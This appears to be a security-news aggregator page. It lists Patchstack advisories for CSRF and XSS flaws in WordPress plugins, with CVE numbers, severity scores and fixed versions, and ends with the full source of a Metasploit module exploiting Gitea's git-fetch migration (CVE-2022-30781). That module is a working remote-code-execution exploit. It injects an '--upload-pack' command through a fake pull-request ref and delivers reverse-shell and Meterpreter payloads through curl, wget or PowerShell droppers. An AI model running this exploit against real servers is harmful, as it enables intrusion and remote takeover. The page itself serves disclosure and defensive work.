Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerability in Store Locator plugin <= 1.4.5 on WordPress.

 Verified

 Fixed

**6.1**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 1.4.5

PSID 

18f5b72d7722

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-09-28

**Details**

Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerability was discovered by Nguy Minh Tuan (Patchstack Alliance) in the WordPress Store Locator plugin (versions <= 1.4.5).

**Solution**

Update the WordPress Store Locator WordPress plugin to the latest available version (at least 1.4.6).

**References**

CVE-2022-41615: WordPress Store Locator plugin <= 1.4.5 - Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Media Library Folders plugin <= 7.1.1 on WordPress.

CVE-2022-41634: Media Library Folders

Cross-Site Request Forgery (CSRF) vulnerability in Booster for WooCommerce plugin <= 5.6.6 on WordPress.

 Verified

 Fixed

**5.4**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 5.6.6

PSID 

e456ddc909a8

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-10-28

**Details**

Cross-Site Request Forgery (CSRF) vulnerability leading to plugin settings reset discovered by Muhammad Daffa (Patchstack Alliance) in WordPress Booster for WooCommerce plugin (versions <= 5.6.6).

**Solution**

Update the WordPress Booster for WooCommerce plugin to the latest available version (at least 5.6.7).

**References**

CVE-2022-41805: WordPress Booster for WooCommerce plugin <= 5.6.6 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) in Mantenimiento web plugin <= 0.13 on WordPress.

 Verified

 Fixed

**6.1**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 0.13

PSID 

b957c4e41c55

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-10-31

**Details**

Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) discovered by Rasi Afeef (Patchstack Alliance) in the WordPress Mantenimiento web plugin (versions <= 0.13).

**Solution**

Update the WordPress Mantenimiento web plugin to the latest available version (at least 0.14).

**References**

CVE-2022-38075: WordPress Mantenimiento web plugin <= 0.13 - Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Creative Mail plugin <= 1.5.4 on WordPress.

 Verified

 Fixed

**5.4**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 1.5.4

PSID 

9bd17320929d

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-10-28

**Details**

Cross-Site Request Forgery (CSRF) vulnerability leading to plugin settings reset discovered by Muhammad Daffa (Patchstack Alliance) in the WordPress Creative Mail plugin (versions <= 1.5.4).

**Solution**

Update the WordPress Creative Mail plugin to the latest available version (at least 1.6.0).

**References**

CVE-2022-40687: WordPress Creative Mail plugin <= 1.5.4 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

 Verified

 Fixed

**5.4**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 1.5.4

PSID 

44e5f3f1a978

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-10-28

**Details**

Cross-Site Request Forgery (CSRF) vulnerability was discovered by Muhammad Daffa (Patchstack Alliance) in the WordPress Creative Mail plugin (versions <= 1.5.4).

**Solution**

Update the WordPress Creative Mail plugin to the latest available version (at least 1.6.0).

**References**

CVE-2022-40686: WordPress Creative Mail plugin <= 1.5.4 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in wpForo Forum plugin <= 2.0.9 on WordPress.

 Verified

 Fixed

**7.1**

CVSS 3.1 score High severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 2.0.9

PSID 

cc516f9d86dc

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-11-17

**Details**

Cross-Site Request Forgery (CSRF) vulnerability discovered by dhakal\_ananda (Patchstack Alliance) in WordPress wpForo Forum plugin (versions <= 2.0.9).

**Solution**

Update the WordPress wpForo Forum plugin to the latest available version (at least 2.1.0).

**References**

CVE-2022-40192: WordPress wpForo Forum plugin <= 2.0.9 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in WPML Multilingual CMS premium plugin <= 4.5.13 on WordPress.

 Verified

 Fixed

**4.3**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Software

Multilingual CMS

Vulnerable versions

<= 4.5.13

PSID 

9be045ae00bb

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-11-09

**Details**

Cross-Site Request Forgery (CSRF) vulnerability leading to status change of translation job discovered by Dave Jong (Patchstack) in WordPress WPML Multilingual CMS premium plugin (versions <= 4.5.13).

**Solution**

Update the WordPress Multilingual CMS plugin to the latest available version (at least 4.5.14).

**References**

CVE-2022-45072: WordPress WPML Multilingual CMS premium plugin <= 4.5.13 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

 Verified

 Fixed

**5.4**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Software

Multilingual CMS

Vulnerable versions

<= 4.5.13

PSID 

f771cc672d53

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-11-09

**Details**

Cross-Site Request Forgery (CSRF) vulnerability discovered by Dave Jong (Patchstack) in WordPress WPML Multilingual CMS premium plugin (versions <= 4.5.13)

**Solution**

Update the WordPress Multilingual CMS plugin to the latest available version (at least 4.5.14).

**References**

CVE-2022-45071: WordPress WPML Multilingual CMS premium plugin <= 4.5.13 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

This Metasploit module exploits the Git fetch command in the Gitea repository migration process to allow for remote command execution on the system. This vulnerability affect Gitea versions prior to 1.16.7.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Gitea  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gitea Git Fetch Remote Code Execution',        'Description' => %q{          This module exploits Git fetch command in Gitea repository migration          process that leads to a remote command execution on the system.          This vulnerability affect Gitea before 1.16.7 version.        },        'Author' => [          'wuhan005', # Original PoC          'li4n0', # Original PoC          'krastanoel' # MSF Module        ],        'References' => [          ['CVE', '2022-30781'],          ['URL', 'https://tttang.com/archive/1607/']        ],        'DisclosureDate' => '2022-05-16',        'License' => MSF_LICENSE,        'Platform' => %w[unix linux win],        'Arch' => ARCH_CMD,        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => %i[curl wget echo printf],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :win_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',                'CMDSTAGER::URIPATH' => '/payloads'              }            }          ]        ],        'DefaultOptions' => { 'WfsDelay' => 30 },        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options([      Opt::RPORT(3000),      OptString.new('USERNAME', [true, 'Username to authenticate with']),      OptString.new('PASSWORD', [true, 'Password to use']),      OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),    ])  end  def cleanup    super    return if @uid.nil? || @migrate_repo_created.nil?    [@repo_name, @migrate_repo_name].each do |name|      res = gitea_remove_repo(repo_path(name))      if res.nil? || res&.code == 200        vprint_warning("Unable to remove repository '#{name}'")      elsif res&.code == 404        vprint_warning("Repository '#{name}' not found, possibly already deleted")      else        vprint_status("Successfully cleanup repository '#{name}'")      end    end  end  def check    return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?    v = get_gitea_version    gitea_login(datastore['username'], datastore['password'])    if Rex::Version.new(v) <= Rex::Version.new('1.16.6')      return CheckCode::Appears("Version detected: #{v}")    end    CheckCode::Safe("Version detected: #{v}")  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e    return CheckCode::Unknown(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e    return CheckCode::Detected(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,         Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    return CheckCode::Safe(e.message)  end  def primer    [      '/api/v1/version', '/api/v1/settings/api',      "/api/v1/repos/#{@migrate_repo_path}",      "/api/v1/repos/#{@migrate_repo_path}/pulls",      "/api/v1/repos/#{@migrate_repo_path}/topics"    ].each { |uri| hardcoded_uripath(uri) } # adding resources  end  def execute_command(cmd, _opts = {})    if target['Type'] == :win_dropper      # Git on Windows will pass the command to `sh.exe` and not `cmd`.      # This requires some adjustments:      # - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`      # - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.      # - Backslashes need to be escaped with `sh.exe`      cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }    end    vprint_status("Executing command: #{cmd}")    @repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_path = repo_path(@migrate_repo_name)    vprint_status("Creating repository \"#{@repo_name}\"")    @uid = gitea_create_repo(@repo_name)    vprint_good('Repository created')    vprint_status('Migrating repository')    clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"    auth_token = rand_text_alphanumeric(6..15)    @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)    @p = cmd  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,         Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,         Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  end  def exploit    unless datastore['AutoCheck']      fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?      gitea_login(datastore['username'], datastore['password'])    end    start_service    primer    case target['Type']    when :unix_cmd, :win_cmd      execute_command(payload.encoded)    when :linux_dropper, :win_dropper      datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"      execute_cmdstager(background: true, delay: 1)    end  rescue Timeout::Error => e    fail_with(Failure::TimeoutExpired, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    fail_with(Failure::NoAccess, e.message)  end  def repo_path(name)    "#{datastore['username']}/#{name}"  end  def on_request_uri(cli, req)    case req.uri    when '/api/v1/version'      send_response(cli, '{"version": "1.16.6"}')    when '/api/v1/settings/api'      data = {        max_response_items: 50, default_paging_num: 30,        default_git_trees_per_page: 1000, default_max_blob_size: 10485760      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}"      data = {        clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",        owner: { login: datastore['username'] }      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"      send_response(cli, '{"topics":[]}')    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"      data = [        {          base: {            ref: 'master'          },          head: {            ref: "--upload-pack=#{@p}",            repo: {              clone_url: './',              owner: { login: 'master' }            }          },          updated_at: '2001-01-01T05:00:00+01:00',          user: {}        }      ]      send_response(cli, data.to_json)    when datastore['CMDSTAGER::URIPATH']      super    end  endend

Tag

#csrf